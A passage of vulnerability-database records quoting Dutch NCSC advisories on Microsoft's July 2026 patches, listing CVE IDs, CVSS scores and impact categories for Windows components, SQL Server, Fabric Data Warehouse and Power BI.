code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:04.124181Z"}, {"uuid": "68b66a7f-8c9d-48ff-9b97-01f6230268ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54117", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:01:03.087131Z"}, {"uuid": "d357bf57-112d-40cb-bfbf-1fb366b8c20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54118", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:01:03.144059Z"}, {"uuid": "16be64e1-4b64-4734-987a-3efa44b52fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54116", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:01:03.390570Z"}, {"uuid": "6158132f-00f5-489d-b1aa-a12de19eebe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54112", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              